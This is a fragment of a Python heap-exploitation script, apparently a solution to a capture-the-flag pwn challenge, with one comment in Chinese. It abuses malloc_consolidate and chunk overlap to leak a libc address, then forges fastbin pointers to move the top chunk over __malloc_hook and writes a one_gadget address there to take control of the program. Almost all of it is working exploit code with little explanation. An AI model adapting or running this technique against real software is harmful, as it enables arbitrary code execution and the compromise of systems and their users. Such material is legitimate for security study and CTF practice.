def shrink(size,cnt): for i in xrange(cnt): allocate(size) update(i,size,'x'*size)
for i in xrange(cnt): delete(i)
shrink(0x28,7) shrink(0x48,7) shrink(0x28,15) #--> which will be consolidate to unsorted bin gdb.attach(sh) for i in range(7): # 0-6 allocate(0x18) update(i,0x17,'1'*0x17)
#gdb.attach(sh) allocate(0x38) #7 # fastbins to unsorted bins and allocate from it; malloc_consolidate won't consolidate tcache bins; #gdb.attach(sh) update(7,0x38,'2'*0x38) #shrink topchunk to 0x200
allocate(0x18) #8 allocate(0x18) #9 for i in range(10,15): # 10 - 14 allocate(0x48) update(i,0x47,'2'*0x47) for i in range(1,7): #1-6 delete(i) delete(9) #0x18 delete(0) #0x18 delete(8) #0x18 #gdb.attach(sh) allocate(0x38) #0 # consolidate again !!!!!!!!! 因为此处之前的unsortedbin被shrink了,所以后面对unsorted bin的操作无法更新chunk 0的pre_size 位,造成在这次consolidate 的时候chunk 0尝试向后合并是根据自己没有更新成功的pre_size来合并的,所以出书先overflapping,从而可以泄露libc信息 #gdb.attach(sh) show(10) sh.recvuntil(': ') leak_addr = u64(sh.recv(8)) print hex(leak_addr) libc.address = leak_addr- 0x3ebca0 print hex(libc.address) main_arena = libc.address+ 0x3ebc40 print hex(main_arena) one_gadget = libc.address+ 0x4f322 print hex(one_gadget) #------------------------------------------
for i in range(1,4): # 1 - 3 allocate(0x48) update(i,0x47,'3'*0x47)
allocate(0x58) # 4 allocate(0x28) # 5 // put chunk5's address in the fastbins[0x30]; #gdb.attach(sh) delete(5) allocate(0x58) # 5 #gdb.attach(sh) update(5,0x48,'\x00'*0x38+p64(0x31)+p64(0x51)) # fake fd to fastbin allocate(0x28) update(6,0x20,'\x00'*0x18+p64(0x21)) delete(1) update(10,0x8,p64(main_arena+0x10)) allocate(0x48) #gdb.attach(sh) allocate(0x48) update(8,0x48,'\x00'*0x40+p64(main_arena-0x38)) # edit topchunk upon malloc_hook #gdb.attach(sh) allocate(0x58) #print hex(libc.symbols['']) update(9,0x20,'\x00'*0x10+p64(one_gadget)+p64(libc.symbols['svc_run']+0x42)) allocate(0x58) #gdb.attach(sh)